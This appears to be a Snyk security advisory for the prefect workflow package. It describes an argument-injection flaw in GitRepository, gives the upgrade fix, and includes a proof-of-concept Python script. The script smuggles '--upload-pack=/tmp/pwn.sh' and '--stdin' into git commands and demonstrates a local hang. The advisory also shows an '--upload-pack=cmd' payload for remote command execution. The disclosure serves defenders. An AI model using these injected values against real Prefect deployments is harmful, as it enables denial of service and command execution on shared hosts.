Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade prefect to version 3.6.25.dev7 or higher.
prefect is a Prefect is a new workflow management system, designed for modern infrastructure and powered by the open-source Prefect Core workflow engine. Users organize Tasks into Flows, and Prefect takes care of the rest.
Affected versions of this package are vulnerable to Arbitrary Argument Injection via the commit_sha and directories arguements to GitRepository.__init__ in storage.py. An attacker who can modify prefect.yaml or otherwise pass parameters into a git pull action can cause the worker process to hang indefinitely, or under some conditions, execute unintended commands on the remote host, by injecting strings beginning with -- into the vulnerable arguments.
For remote code execution by injecting a payload such as commit_sha = "--upload-pack=cmd", the following conditions must be met:
The repository accessible to the attacker is shared.
That repository is accessible via git commands over SSH.
The host is configured to accept arbitrary --upload-pack paths.
import os
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
from prefect.runner.storage import GitRepository
MALICIOUS_COMMIT_SHA = "--upload-pack=/tmp/pwn.sh"
MALICIOUS_DIRECTORIES = ["--stdin"]
def step1_constructor() -> GitRepository | None:
"""Does the constructor accept malicious input?"""
try:
repo = GitRepository(
url="https://github.com/example/repo.git",
commit_sha=MALICIOUS_COMMIT_SHA,
directories=MALICIOUS_DIRECTORIES,
)
except ValueError as e:
print(f"[PATCHED] Constructor rejected malicious input: {e}")
return None
print("[VULN] Constructor accepted malicious commit_sha and directories.")
print(f" repo._commit_sha = {repo._commit_sha!r}")
print(f" repo._directories = {repo._directories!r}")
return repo
def step2_show_argv(repo: GitRepository) -> None:
"""What argv would actually be handed to git?"""
cmds = [
["git", "rev-parse", repo._commit_sha],
["git", "fetch", "origin", repo._commit_sha],
["git", "checkout", repo._commit_sha],
["git", "sparse-checkout", "set", *repo._directories],
]
print("\n[argv] Commands that would be executed (pre-patch, no '--' separator):")
for c in cmds:
print(f" {c}")
def step3_dos_with_stdin() -> None:
"""Prove `directories=['--stdin']` hangs git sparse-checkout."""
if shutil.which("git") is None:
print("\n[skip] git binary not on PATH; skipping DoS demo.")
return
work = Path(tempfile.mkdtemp(prefix="prefect-argi-"))
try:
subprocess.run(["git", "init", "-q", str(work)], check=True)
subprocess.run(
["git", "-C", str(work), "commit", "--allow-empty", "-q", "-m", "init"],
check=True,
env={**os.environ,
"GIT_AUTHOR_NAME": "x", "GIT_AUTHOR_EMAIL": "x@x",
"GIT_COMMITTER_NAME": "x", "GIT_COMMITTER_EMAIL": "x@x"},
)
print("\n[dos] Running: git sparse-checkout set --stdin (with no stdin)")
proc = subprocess.Popen(
["git", "sparse-checkout", "set", "--stdin"],
cwd=work,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
try:
rc = proc.wait(timeout=3)
print(f"[dos] exited rc={rc} (not a hang on this git version)")
except subprocess.TimeoutExpired:
proc.kill()
proc.wait()
print("[dos] Child still running after 3s -> confirmed DoS primitive.")
finally:
shutil.rmtree(work, ignore_errors=True)
def main() -> int:
import prefect
print(f"prefect version: {prefect.__version__}\n")
repo = step1_constructor()
if repo is None:
return 0
step2_show_argv(repo)
step3_dos_with_stdin()
return 0
if __name__ == "__main__":
sys.exit(main())